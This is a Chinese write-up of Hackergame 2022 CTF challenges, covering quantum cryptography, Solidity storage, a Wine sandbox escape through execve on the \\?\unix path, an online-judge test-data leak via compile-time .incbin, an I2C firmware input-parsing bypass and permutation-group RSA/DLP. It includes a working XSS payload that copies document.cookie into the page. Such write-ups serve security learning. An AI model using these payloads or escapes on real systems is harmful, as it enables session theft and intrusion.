Hackergame 2022 writeup 0x01

这一部分来说我放了一些稍微需要技巧的题目和一些笔者没有完全做完、但是前几问很简单的题目,继续向前喵~

量子藏宝图

相传,伯恩斯坦曾到访过一个叫做「坎瑞亚」的古国。游历期间,他发明了一种基于量子计算的密码算法,这种算法可以利用量子计算机进行快速运算。然而,时光荏苒,时过境迁,这种算法竟遗失在了历史长河里。这天,旅行者(你)在游历提瓦特大陆时,收到了一封神秘的匿名邮件。据邮件所说,旅行者若是能够重新解密这一算法,便能获得一个名为 FLAG 的金色圣遗物。似乎 FLAG 正是隐藏在算法之中。

好,原* !(bushi

在第一幕中,提到了一个 BB84 的量子密钥分发协议,搜索到了 知乎,这里的一张图片就讲的很清楚。

Alice random bits       : 0   1   1   0   1   1   0   0
Random sending base     : D   R   D   R   R   R   R   R
Photons Alice sends     : /   |   \   -   |   |   -   -
Random receiving base   : R   D   D   R   R   D   D   R
Bits as received by Bob : 1       1       1   0   0   0
------------------------:------------------------------
Public Disscusssions are ignored as we do not need them
------------------------:------------------------------
Bits Alice and Bob agree: N       Y       Y           Y
The key is              :         1       1           0

简单来说,这道题的目标便是先要根据通讯协商出一个至少 128 位长的密钥,忽略了一些协商和确认的过程,我们只需要筛选出测量基一致的比特,然后拼接起来就是密钥了。

到了第二幕,给了一张量子算法的电路图,根据给出的链接也不难找到 Bernstein-Vazirani 算法的程序实现,你可以选择看着电路图手动操作为 python 代码实现。

有些同学很利用已知的 flag{} 聪明的发现了一些 tricks,比如使用 “cont 门连接到的点位为 1,否则为 0” 这样的规则来快速的得到了 flag。

笔者认为量子算法本身还是很有趣的,在此推荐一个科普视频,非常通俗易懂的讲解了量子算法攻击 RSA 的基本原理:How Quantum Computers Work

笔者曾在此视频中受益匪浅,也进一步理解了量子算法的设计逻辑和为什么量子算法只有在可控 qbit 数目足够多的时候放才能发挥其真正的威力,希望读者也可以了解一下这些有趣的知识。

flag{10d3a698e9}

片上系统

你的室友在学习了计算机组成原理之后沉迷 RISC-V 软核开发。

RISC-V,是一个近年来兴起的开放指令集架构。

软核,意思是这个 RISC-V CPU(如果能称之为 CPU 的话)是在 FPGA 等可编程芯片中运行的(而不是在真正硅片上固定的物理电路)。同时,CPU 需要的外部硬件,如字符打印、图像显示、LED 点灯等等,均需要自己用硬件描述语言编写(而不像单片机等设备开发时只要调用库函数就可以了)。有些人会选择已经实现好的开源部件和处理器,组合定制成为一套片上系统(System on Chip, SoC),用于嵌入式开发、工业控制或个人娱乐等目的。而另外一些失去理智的人们则选择以一己之力,从零开始编写自己的 CPU 和外设,并企图用自己几个月摸鱼摸出的处理器与嵌入式大厂数十年的积累抗衡,尽管 Ta 们的 CPU 通常性能不如 i386、没有异常处理、甚至几十个周期才能完成一条指令,而外设也通常仅限于串口和几个屈指可数的 LED 灯。

最近,你听说室友在 SD 卡方面取得了些进展。在他日复一日的自言自语中,你逐渐了解到这个由他一个人自主研发的片上系统现在已经可以从 SD 卡启动:先由“片上 ROM 中的固件”加载并运行 SD 卡第一个扇区中的“引导程序”,之后由这个“引导程序”从 SD 卡中加载“操作系统”。而这个“操作系统”目前能做的只是向“串口”输出一些字符。

同时你听说,这个并不完善的 SD 卡驱动只使用了 SD 卡的 SPI 模式,而传输速度也是低得感人。此时你突然想到:如果速度不快的话,是不是可以用逻辑分析仪来采集(偷窃)这个 SD 卡的信号,从而“获得” SD 卡以至于这个“操作系统”的秘密?

你从抽屉角落掏出吃灰已久的逻辑分析仪。这个小东西价格不到 50 块钱,采样率也只有 24 M。你打开 PulseView,把采样率调高,连上室友开发板上 SD 卡的引脚,然后接通了开发板的电源,希望这聊胜于无的分析仪真的能抓到点什么有意思的信号。至于你为什么没有直接把 SD 卡拿下来读取数据,就没人知道了。

引导扇区

听说,第一个 flag 藏在 SD 卡第一个扇区的末尾。你能找到它吗?

操作系统

室友的“操作系统”会输出一些调试信息和第二个 flag。从室友前些日子社交网络发布的终端截图看,这个“操作系统”每次“启动”都会首先输出:

LED: ON
Memory: OK

或许你可以根据这一部分固定的输出和引导扇区的代码,先搞清楚那“串口”和“SD 卡驱动”到底是怎么工作的,之后再仔细研究 flag 到底是什么,就像当年的 Enigma 一样。

题目附件

引导扇区

这部分还是很简单的,下载 PulseView 打开后便可以导出第一个扇区的文件,之后随意打开就可以发现 flag 的正文。

flag{0K_you_goT_th3_b4sIc_1dE4_caRRy_0N}

操作系统

鉴于以往写过操作系统 GGOS 的经历,倒是能看出来第一个扇区里面是 bootloader,而后面的是操作系统。

但是笔者苦于不怎么会用 PulseView,到最后一天才发现可以直接提取全部到 hex 数据独立分析和逆向,于是就没有做出来这道题了。

建议查看 官方题解mcfx

链上记忆大师

听说你在区块链上部署的智能合约有过目不忘的能力。

题目附件

一道区块链题目,但可以说并不适合入门(

笔者建议想学习相关内容的同学去尝试 ethernaut,使用 remix 进行相关的部署操作。

记忆练习

第一问很简单,只需要知道智能合约可以保存数据,然后存储即可。

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "hackergame2022/master.sol";

contract MyMemoryMaster is MemoryMaster {
    uint256 mem;

    function memorize(uint256 n) external {
        mem = n;
    }
    function recall() external view returns (uint256) {
        return mem;
    }
}

flag{Y0u_Ar3_n0w_f4M1l1ar_W1th_S0l1dity_st0rage_3f4cf87b6f}

牛刀小试 & 终极挑战

由于笔者完全没有想到可以用 gas 来推测信息,这两道题完全没思路(逃

企鹅拼盘

这是一个可爱的企鹅滑块拼盘。(觉得不可爱的同学可以换可爱的题做)

和市面上只能打乱之后拼回的普通滑块拼盘不同,这个拼盘是自动打乱拼回的。一次游戏可以帮助您体验到 16/256/4096 次普通拼盘的乐趣。

每一步的打乱的方式有两种,选择哪一种则由您的输入(长度为 4/16/64 的 0/1 序列)的某一位决定。如果您在最后能成功打乱这个拼盘,您就可以获取到 flag 啦,快来试试吧wwwwww

题目附件

这么简单我闭眼都可以!

嗯,直接枚举 4bit 共 16 种情况就可以了。

flag{it_works_like_magic_6d57eff969}

大力当然出奇迹啦~

既然说了大力,那就让程序自己跑吧(

我更改了程序的这几个位置:

def render(self):
    if self.info['scrambled'] and self.info['pc'] == self.info['lb'] and len(self.info['inbits']) > 0 and self.info['ib'] < 0:
        global success_flag
        success_flag = len(self.info['inbits'])
        open('flag.log', 'w').write(''.join(map(str, self.info['inbits'])))
        exit(0)
        #...

首先是让程序获得正确答案时候将答案输出到文件并退出(因为吃过自动化结果跳过了正确答案的亏

然后是将执行全部的事件挂到了 timer 上(这个需要去查一下 textual 的文档):

async def action_reset(self):
    self.pc = 0
    self.set_interval(0.05, self.action_last)

async def action_last(self):
    now = int(''.join(map(str, self.inbits)), 2) + 1
    self.inbits = [int(i) for i in bin(now)[2:].zfill(self.bitlength)]
    self.pc = 0
    self.pc = len(self.branches)

更改两次 pc 是因为这样才会触发 pc 的更改事件,如果一直赋值为一个值的话计算是不会进行的。

之后就是爆破啦……

flag{Branching_Programs_are_NC1_ac52bf6a09}

这个拼盘。。能靠掀桌子弄乱吗?

这题其实是没细细看啦,不然大概也就是道算法题。题目太多,没轮转到就已经结束了(

杯窗鹅影

说到上回,小 K 在获得了实验室高性能服务器的访问权限之后就迁移了数据(他直到现在都还不知道自己的家目录备份被 Eve 下载了)。之后,为了跑一些别人写的在 Windows 下的计算程序,他安装了 wine 来运行它们。

「你用 wine 跑 Windows 程序,要是中毒了咋办?」

「没关系,大不了把 wineprefix 删了就行。我设置过了磁盘映射,Windows 程序是读不到我的文件的!」

但果真如此吗?

为了验证这一点,你需要点击「打开/下载题目」按钮,上传你的程序实现以下的目的:

  1. /flag1 放置了第一个 flag。你能给出一个能在 wine 下运行的 x86_64 架构的 Windows 命令行程序来读取到第一个 flag 吗?
  2. /flag2 放置了第二个 flag,但是需要使用 /readflag 程序才能看到 /flag2 的内容。你能给出一个能在 wine 下运行的 x86_64 架构的 Windows 命令行程序来执行 /readflag 程序来读取到第二个 flag 吗?

提示:

  1. 该环境为只读环境,运行在 x86_64 架构的 Linux 上。我们未安装图形库与 32 位的相关运行库,因此需要使用图形界面的 Windows 程序与 32 位的 Windows 程序均无法执行;
  2. 包括 start.exe, cmd.exe, winebrowser.exe, wineconsole.exe 在内的部分程序已从环境中删除;
    作为参考,你可以在 Linux 下使用 MinGW 交叉编译出符合要求的 Windows 程序,以 Ubuntu 22.04 为例(其他 Linux 发行版所需操作类似):
    安装 MinGW 工具链,在 Ubuntu 22.04 下其对应的软件包为 gcc-mingw-w64-x86-64
  3. 使用 C 编写 Windows 程序,使用命令 x86_64-w64-mingw32-gcc helloworld.c 编译,得到的 a.exe 文件即为符合要求的 x86_64 架构的 Windows 命令行程序。

补充说明 1:wine 的执行环境仅包含 c: 的默认磁盘映射,z: 的磁盘映射已被删除。

首先,这题名称起的妙啊(狠狠夸

/flag1

本来以为很困难,没想到可以直接 fopen 读取(

int main() {
    FILE *fp = fopen("/flag1", "r");
    char buf[100];
    fgets(buf, 100, fp);
    puts(buf);
    return 0;
}

flag{Surprise_you_can_directory_traversal_1n_WINE_c0e7be3677}

/readflag

最开始想要列出目录有什么东西,于是写了个小程序:

int myreaddir(char path[], int depth)
{
    if(depth > 7) return 0;
    char nxt[1024];
    DIR* dir;
    struct dirent* ptr;
    dir = opendir(path);
    while((ptr = readdir(dir)) != NULL)
    {
        if(strcmp(ptr->d_name, ".") == 0 || strcmp(ptr->d_name, "..") == 0)
            continue;
        char* dotpos = strrchr(ptr->d_name, '.');
        printf("%s%s\n", path, ptr->d_name);

        if(strcmp(ptr->d_name, "system32") == 0 ||
            strcmp(ptr->d_name, "syswow64") == 0 ||
            strcmp(ptr->d_name, "winsxs") == 0 ||
            (dotpos && strcmp(dotpos, ".dll") == 0))
            continue;

        sprintf(nxt, "%s%s\\", path, ptr->d_name);
        myreaddir(nxt, depth + 1);
    }
    closedir(dir);
}

然后 myreaddir("c:\\") 列出了很多目录……

c:\Program Files
c:\Program Files\Common Files
...
c:\Program Files (x86)
c:\Program Files (x86)\Common Files
c:\ProgramData
...
c:\users
c:\users\Public
...
c:\users\root
...
c:\windows
...
c:\windows\winsxs

之后尝试去运行一些程序,用 Win32 API 写了个函数:

void launch_app(){
    STARTUPINFOW si = { 0 };
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = { 0 };
    BOOL success = CreateProcessW( // Create the child process
        L"c:\\windows\\system32\\whoami.exe",  // Path to executable
        NULL,             // Command line arguments
        NULL,             // Process attributes
        NULL,             // Thread attributes
        FALSE,            // Inherit handles
        0,                // Creation flags
        NULL,             // Environment
        NULL,             // Working directory
        &si,              // Startup info
        &pi);             // Process information

    if(success)
    {
        // Wait for the process to exit
        WaitForSingleObject(pi.hProcess, INFINITE);
        DWORD exitCode; // Process has exited - check its exit code
        GetExitCodeProcess(pi.hProcess, &exitCode);
        printf("Exit code: %d\n\n", exitCode);// At this point exitCode is set to the process' exit code
        CloseHandle(pi.hThread); // Handles must be closed when they are no longer needed
        CloseHandle(pi.hProcess);
    }
}

之后偶然一次实验中发现了如下的报错:

stdout (标准输出,前 8192 个字节):
FAFCCEBB3E8C\nobody
Exit code: 0
stderr (标准错误,前 8192 个字节):
wine: could not open working directory L"unix\\", starting in the Windows directory.
0010:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.

unix\\ 这个目录很是奇特,稍微搜索后发现可以用 \\?\unix\ 到达挂载 wine 的根目录……于是就可以随便启动程序了,甚至可以用 execve 直接执行 /readflag 了。

execve("\\\\?\\unix\\readflag", NULL, NULL);

flag{W1ne_is_NeveR_a_SaNDB0x_97a07d62e1}

RoboGame

今年,李德川和张修院两位同学报名参加了由淳平粮油店赞助的会员制比赛 RoboGame。

学院为了宣传近期科考领域的重大发现,定今年 RoboGame 的主题是《楼兰古国科考机器人》。

由于现实中楼兰古国的地形地貌漂亮得很啊!需要精细的移动控制,所以这个科考机器人需要使用 0x24 个轮子进行精密操控,这些轮子由下北泽的黑色高级轿车专用智能芯片控制,据说,这张芯片采用的是 8051 架构。另外,这台机器有 114514 个甚至 128 个 I2C 端口可以进行数据传输,其中的一些端口与机器人的某些部件相连接,每个 I2C 端口都以一个 ASCII 字符作为标识。为了降低操控难度,学院下发的机器中只有前十个轮子需要选手自己调速。

可是面对着这台机器,两人面露难色:他们发现,只要固定一个轮子的速度,相邻的两个轮子的速度就会不受控制。

李德川同学不禁发出了“鸭蛋莫鸭蛋”的抱怨。此时,机器内部忽然发出了野兽般的咆哮:

“0x24 号,是 EEPROM。”

“EEPROM 的话,那么 读取和写入 什么的都有在做吗?”

“那是当然啦!输入 指令、端口 和 发送字节长度 以后,如果指令是 写入,写入的第一个字节就是之后读写的页面序号,后面跟的字节就会一个一个一个一个地擦写。上电以后默认操作的页面是第 0 页。”

“大人,您写入的高电平都白啦!”

“戳啦!EEPROM 嘛!里面存着固件,上电后写入的 1 只能把 EEPROM 中的对应位擦成低电平。由于硬件的奇妙性质,你只有甚至九比特的擦除机会。”

两人对着这台机器给出的提示摸不着头脑。此时,比赛方发来了信息:“根据赞助方的要求,我们的中期考核会降低难度,在九次调速中,能把前十个轮子的速度调成一样,老爷有赏啊!赏赐就藏在 0x24 个轮子的转速数据之中。”

请点击 此处链接 下载 EEPROM 中存储的固件的 C 语言源代码。

是一道我摸不着头脑看他想干嘛、也不清楚这个和固件有什么关系的时候狠狠非预期的题目(

首先可以看到:

int8_t speedtb[8] = {0x11, 0x45, 0x14, 0x19, 0x81, 0x24, 0x00, 0x19};
int8_t rand()
{
    init_rand += 1;
    init_rand &= 7;
    return speedtb[init_rand];
}

所以得知随机数会从 speedtb 中取,而且八次一循环,之后看写的时候会发生什么:

for (uint8_t i = 0; i < req_len; i++)
{
    p = tokenizer_next(&t);
    if (p == NULL)
    {
        break;
    }

    i2c_buf[i] = str_to_uint8(p);
    i2c_buf2[i] = rand();
}

int8_t ret = i2c_write(port, req_len, i2c_buf);
i2c_write((port + 1) % 10, req_len, i2c_buf2);
i2c_write((port + 9) % 10, req_len, i2c_buf2);
serial_print(i2c_status_to_error(ret));

根据请求的长度获取下一个随机数组,然后把它们填入相邻的端口……

那我每次就输入这个随机数组不就行了(((

然后发现 8 号端口本来就是 0x11,于是我通过输入:

w 0 8 17 69 20 25 129 36 0 25 // 写入 9, 0, 1
w 3 8 17 69 20 25 129 36 0 25 // 写入 2, 3, 4
w 6 8 17 69 20 25 129 36 0 25 // 写入 5, 6, 7

三步就满足了需求……于是问题变成了怎么把 flag 全部取出来……

查看代码发现:

uint8_t str_to_uint8(const char *s)
{
    uint8_t v = 0;
    while (*s)
    {
        uint8_t digit = *s++ - '0';
        v = v * 10 + digit;
    }
    return v;
}
//...
i2c_buf[i] = str_to_uint8(p);
//...

在进行字符到数字的转换时,并未判断输入的字符是不是数字,所以可以直接通过增加 ascii 码来达到目的:

from pwn import *

context.log_level = 'debug'
token = b'Your token here'

io = remote('ip', 11451)
io.recvuntil(b'token: ')
io.sendline(token)

for i in [0, 3, 6]:
    tosend = f'w {i} 8 17 69 20 25 129 36 0 25'
    io.sendlineafter(b'> ', tosend.encode())

io.recvuntil(b'Congrats! Flag is in the speed data of all wheels.')

flag_bs = ''
for i in range(0x24):
    io.sendlineafter(b'> ', f'r {chr(i + ord("0"))} 4'.encode()) # does not check ths input is number
    io.recvline()
    bs = io.recvline().strip()
    flag_bs += chr(int(bs.split(b' ')[0], 16))
    print(flag_bs)

print(flag_bs)

看了下预期解,远比这个实现复杂,就是说出题人为什么满脑子 0x114514 而没反应过来这样的“随机数组”根本称不上“随机”啊喂()

日常心疼费劲了心思出题而被人一句话就解决的出题人((
端茶、送水、捶背(

flag{seNpa1_810_F1rmwar3_7e2186a3c4}

Flag 自动机

Hackergame 2022 组委会为大家搬来了一台能够自动获取 flag 的机器。然而,想要提取出其中的 flag 似乎没那么简单……

请点击下方的「打开/下载题目」按钮,从 flag 自动机中提取 flag。

请选手注意:flag_machine.zip 中的 flag_machine.exe.manifest 仅为美化窗口使用,与本题解法无关。

啊,原来是 win32 程序……拖进 IDA

然后随便点点发现了猫腻,似乎要达成很多东西才能获取 flag:

然后在 Main 函数中发现了一个设置 SubClass 的函数,推测是用来做按钮四处乱跳的,patch 之后发现还真的是。

于是干脆 patch 成加载这里的时候直接跳转到上面的位置输出 flag 好了:

再次运行,flag 就悄悄躺在文件夹里了。

虽然说的很简单,但对于新手来说这几步可能并没有那么简单,关于 patch 二进制和 IDA 的使用是需要一些学习的,patch 程序的话最好能够使用 keypatch 这个插件,用起来会比 IDA 自带带容易很多。

此处的 patch 我只需要右键选择 patch,输入 jmp 0x401840 然后发现刚刚好也是 5 byte 的指令,就直接 patch 了。

flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}

安全的在线测评

传说科大新的在线测评系统(Online Judge)正在锐意开发中。然而,新 OJ 迟迟不见踪影,旧的 OJ 和更旧的 OJ 却都已经停止了维护。某 2022 级计算机系的新生小 L 等得不耐烦了,当即表示不就是 OJ 吗,他 10 分钟就能写出来一个。

无法 AC 的题目

为了验证他写的新 OJ 的安全性,他决定在 OJ 上出一道不可能完成的题目——大整数分解,并且放出豪言:只要有人能 AC 这道题,就能得到传说中的 flag。当然,因为目前 OJ 只能运行 C 语言代码,即使请来一位少年班学院的天才恐怕也无济于事。

动态数据

为了防止数据意外泄露,小 L 还给 OJ 加入了动态数据生成功能,每次测评会随机生成一部分测试数据。这样,即使 OJ 测试数据泄露,攻击者也没办法通过所有测试样例了吧!(也许吧?)

判题脚本:online_judge.py

无法 AC 的题目

首先,由于这道题本来基于大质数分解的困难问题(也就是 RSA 的安全性保证),认真去写的话你就输了(

由于静态输入输出文件就写在目录里,所以直接打开读取输出就可以了(

#include <stdio.h>

char buf[0x100];
int main() {
    FILE *fp = fopen("data/static.out", "r");
    fread(buf, 1, 0x100, fp);
    puts(buf);
    fclose(fp);
    return 0;
}

PS: flag 中还指明了另外一种方法,也就是利用编译报错把数据“偷”出来

#include "./data/static.out"

flag{the_compiler_is_my_eyes_71549e6370}

动态数据

通过看脚本可以发现,题目数据是随机生成的,而运行时候权限不足,无法读取相关文件,所以只能在编译时做手脚。

搜索如何编译时嵌入文件,可以看到这样一个例子:incbin.c

可以通过自己写个宏的方式,利用内联汇编来将文件嵌入到可执行文件中。

#include <stdio.h>
#define STR2(x) #x
#define STR(x) STR2(x)

// this aligns start address to 16 and terminates byte array with explict 0
// which is not really needed, feel free to change it to whatever you want/need
#define INCBIN(name, file) \
    __asm__(".section .rodata\n" \
            ".global incbin_" STR(name) "_start\n" \
            "incbin_" STR(name) "_start:\n" \
            ".incbin \"" file "\"\n" \
            ".byte 0\n" \
    ); \
    extern const char incbin_ ## name ## _start[];

INCBIN(dyn1_i, "./data/dynamic0.in");
INCBIN(dyn2_i, "./data/dynamic1.in");
INCBIN(dyn3_i, "./data/dynamic2.in");
INCBIN(dyn4_i, "./data/dynamic3.in");
INCBIN(dyn5_i, "./data/dynamic4.in");

INCBIN(dyn1_o, "./data/dynamic0.out");
INCBIN(dyn2_o, "./data/dynamic1.out");
INCBIN(dyn3_o, "./data/dynamic2.out");
INCBIN(dyn4_o, "./data/dynamic3.out");
INCBIN(dyn5_o, "./data/dynamic4.out");

char buf[0x1000];

int main() {
    scanf("%s", buf);
    if (strncmp(buf, incbin_dyn1_i_start, 24) == 0) {
        puts(incbin_dyn1_o_start);
    } else if (strncmp(buf, incbin_dyn2_i_start, 24) == 0) {
        puts(incbin_dyn2_o_start);
    } else if (strncmp(buf, incbin_dyn3_i_start, 24) == 0) {
        puts(incbin_dyn3_o_start);
    } else if (strncmp(buf, incbin_dyn4_i_start, 24) == 0) {
        puts(incbin_dyn4_o_start);
    } else if (strncmp(buf, incbin_dyn5_i_start, 24) == 0) {
        puts(incbin_dyn5_o_start);
    } else {
        FILE *fp = fopen("data/static.out", "r");
        fread(buf, 1, 0x1000, fp);
        puts(buf);
        fclose(fp);
    }
    return 0;
}

说起来做 OJ 真的还是个蛮高安全风险的事情,想起 4 老师给浙大出的一大堆 OJ 题就觉得可怕.jpg

flag{cpp_need_P1040_std_embed_4a30222574}

微积分计算小练习

小 X 作为某门符号计算课程的助教,为了让大家熟悉软件的使用,他写了一个小网站:上面放着五道简单的题目,只要输入姓名和题目答案,提交后就可以看到自己的分数。

想起自己前几天在公众号上学过的 Java 设计模式免费试听课,本着前后端离心(咦?是前后端离心吗?还是离婚?离。。离谱?总之把功能能拆则拆就对啦)的思想,小 X 还单独写了一个程序,欢迎同学们把自己的成绩链接提交上来。

总之,因为其先进的设计思想,需要同学们做完练习之后手动把成绩连接贴到这里来:

提示:

  1. 不必输入自己真实的姓名;
  2. 根据比赛规则,请勿分享自己的链接,或点击其他人分享的链接。

题目附件

首先,我抑制住了自己想要做题的冲动,随便填了一波交了上去。

然后看到了 bot 的开头有 Copyright 2021 PKU-GeekGame 的字样,于是去找了当时的 原脚本 xssbot.py

那这道题大概率是要打个 XSS 攻击了,于是看了看结果的页面:

<h1>练习成绩页面</h1>
<p id="greeting">您好,qwe!</p>
<p id="score">您在练习中获得的分数为 <b>0</b>/100。</p>
<a href="/">再试一次</a>

看来注入点就是 greetingscore 了,之后看脚本,flag 被放置在了 cookie 中,并且程序会把 greetingscore 的内容读出来,那么我们的目标就是将 cookie 放入其中一个之中就可以了。

于是构建如下的 payload:

<img
  src="a"
  onerror='document.querySelector("#score").innerHTML = document.cookie;'
/>

将它作为名称写入,于是我们就可以获得 flag 了:

flag{xS5_1OI_is_N0t_SOHARD_3b74c463c1}

置换魔群

小 A 最近在鏖战密码学和代数学基础,密码学上有置乱和置乱阶,代数学基础老师又恰好讲了交错群(置换群) AnA_n :对 n 个元素的置乱操作。小 A 仔细一琢磨,这俩好像是一个玩意?之后代数学基础老师从置换群讲到最大的散在单群——魔群(monster group)与一个神奇的数——魔群的阶 M:808017424794512875886459904961710757005754368000000000,不仅牵扯到了傅里叶级数的展开系数,甚至还扯出了宇宙起源的弦论,也就是赫赫有名的“魔群月光猜想”。这时候,喜欢捣鼓物理的小 A 不淡定了,果然世界的终极本质还是数学,要好好研究一下群论了,就从置换群开始吧,毕竟任何一个群都能嵌入某个置换群。

小 A 首先把置换群的基本概念都烂熟于心,置换群的每一个元素都是一次置乱操作,比如

A=[12342431]A = \begin{bmatrix} 1 & 2 & 3 & 4 \newline 2 & 4 & 3 & 1 \end{bmatrix}

上述置换代表着,位置 1 的元素经过置换后到位置 2,位置 2 的元素经过置换后到位置 4,位置 3 元素不变,位置 4 元素经过置换后到位置 1。其实上述置换由两个小置换构成: A=(1241),(33)A = (1 \rightarrow 2 \rightarrow 4 \rightarrow 1), (3 \rightarrow 3),标准化记为 A=(1,2,4)(3)A=(1,2,4)(3),这就是 4 阶置换群 A4A_4 上的一个 3 阶元素,因为连续经过三次 A 置换后,又复原了。置换群上的乘法运算 A×BA \times B 就是两次置乱的叠加:先用 B 进行置换,再进行 A 置换。如果 A_nA\_n 上的一个置换操作 A 至少要作用 k 次才能恢复到原状态(如 A3=(1)(2)(3)(4)A^3 = (1)(2)(3)(4) ),则 A 的阶是 k。

简单排列组合一下,小 A 发现 AnA_n 置换群的阶是 n!n!,这可把小 A 高兴坏了,因为单单 45!45! 可就比魔群的阶还要大得多了,这下小 A 有了一个大胆的想法,他要把魔群嵌入到某个交错群里,可是小 A 对这些代数结构的同构一窍不通,算了,管他呢,直接在某个置换群里面找一个阶为魔群的群的子群就行了,这很简单,找到最小的能包含阶为 M 的元素的置换群 AnA_n 即可,小 A 准备把自己要找的群取名为置换魔群

可是,小 A 发现,虽然可以找到置换魔群,但要表示这上面的一个元素,自己的磁盘空间远远不够,这可让他郁闷了好一阵,宇宙大概是个无限阶群吧,才会存在这么复杂的魔群。既然置换群这么神奇,小 A 决定在置换群上面做做公钥密码。

  • 置换群上的 RSA

    小 A 首先想到了著名的 RSA 算法,RSA 算法依赖的是给定 Zmod(n) 群,求该乘法群的阶的困难性,可是置换群 AnA_n 的阶也太容易计算了吧,那就先送一道题练练手吧。

  • 置换群上的 DH

    既然 RSA 不行,小 A 决定研究一下置换群上的离散对数(DLP),置换群的阶可是随着 n 超指数级别增长,那么在这上面求解离散对数肯定是很困难的!小 A 于是仿照 DH 密钥交换协议,生成了自己的公私钥。你能破解他的私钥吗?

  • 置换群上的超大离散对数

    小 A 的私钥被破解了,他百思不得其解,怎么阶这么大的一个群,离散对数求解这么容易呢?肯定是自己实现有问题,于是决定把自己私钥弄得比 AnA_n 群上最大阶元素的阶还要大,这样小 A 觉得万无一失了,甚至扬言,即使给黑客两次机会,他也拿不到我的私钥!可是一段时间后,小 A 的私钥又丢了。并且收到了黑客的留言:

    置换群太光滑了,在这上面做传统的公钥密码,全是后门,毫无机密性可言,除非你能做到高阶的置换群,但是在此之前,你的内存肯定会炸掉。

  • Hint

    • 如果你对群论与魔群有兴趣,并且没有相关基础,这或许是一个很有用的视频:群论与魔群
    • 第三题:怎么得到置乱群 AnA_n 上的最大阶元素,也就是怎么找到密码学意义上的最大置乱阶,并且构造最乱的置换

置换群上的 RSA

第一问叫 RSA,也和 RSA 多少有点关系,对群的阶简单了解后,也就知道对于群中的一个置换 mm

mord(m)=σ=()mord(m)+1=m\begin{aligned} m^{ord(m)} &= \sigma = ()\\ m^{ord(m) + 1} &= m \\ \end{aligned}

结合 RSA 的计算过程,类比可以得到当:

me=c,cd=mm^e = c, c^d = m

就有

cd=med=mord(m)+1=md=e1(modord(m))\begin{aligned} c^d = m^{ed} = m^{ord(m) + 1} = m \\ d = e^{-1} \pmod{ord(m)} \\ \end{aligned}

ee 为质数时,e1e^{-1} 一定存在,且 ord(m)=ord(c)ord(m) = ord(c),可以直接用 ord(c)ord(c) 来进行计算,求 ee 关于 ord(c)ord(c) 的逆元,即可得到 dd

def s2n(x): return [int(x) for x in re.findall(r"\-?\d+\.?\d*", x)]

enc_code = '[a, b, ...]'
enc_list = s2n(enc_code)
n = len(enc_list)
e = 65537
An = permutation_group(n)
enc = permutation_element(n, enc_list)
enc_order = enc.order()
d = inverse(e, enc_order)
ans = enc ** d

PS: 这里还有一些数学推断可能存在一些错误,欢迎斧正。

flag{Pe5mRSA?__1s_s00oo_weak!!!_67f68bda33}

置换群上的 DH

这道题的话……发现 sage 恰好支持这种表示,于是一把搓:

from sage.all import *
from sage.groups.generic import bsgs

item = open('a.txt', 'r').read()
a = PermutationGroupElement(eval(item))

item = open('b.txt', 'r').read()
b = PermutationGroupElement(eval(item))

ans = bsgs(a, b, (2**32, a.order()))
print(ans)

然后写个交互脚本,就可以得到 flag 了。

from pwn import *
import re
import subprocess

context.log_level = 'debug'
token = b'Your token here'

io = remote('ip', 10114)
io.sendlineafter(b'token: ', token)
io.sendlineafter(b'choice: ', b'2')

for _ in range(15):
    io.recvuntil(b'g = ')
    a = io.recvline().strip().decode()
    open('a.txt', 'w').write(a)

    io.recvuntil(b'key = ')
    b = io.recvline().strip().decode()
    open('b.txt', 'w').write(b)

    p = subprocess.Popen(['sage', 'solve2.sage'], stdout=subprocess.PIPE)
    p.wait()

    ans = p.stdout.read().decode().strip()
    io.sendlineafter(b'answer: ', ans.encode())

io.interactive()

flag{p3mutat1on_gr0up_1s_smooth_dlp_easy_e00cbe098d}

置换群上的超大离散对数

做完前两题之后基本没看第三问,主要是俩原因,一个是当时有个很想做的 binary(忘了哪一个)于是跑去做了,另一个是看到要构造最大的阶数时候一下子没了思路,搜了搜发现最小公倍数有个数列,觉得有点没头绪,于是去做了其他的(

火眼金睛的小 E

小 E 有很多的 ELF 文件,它们里面的函数有点像,能把它们匹配起来吗?

小 A:这不是用 BinDiff 就可以了吗,很简单吧?

有手就行

只需要用 IDA 打开、按照函数长度排序、手动对比一下就可以了()

因为有手就行,而且只会有手就行,那就不多说了(

其他进一步的方法可以看:官方题解mcfx

flag{easy_to_use_bindiff_1b554718d8}


未完待续… Hackergame 2022 Writeup 0x02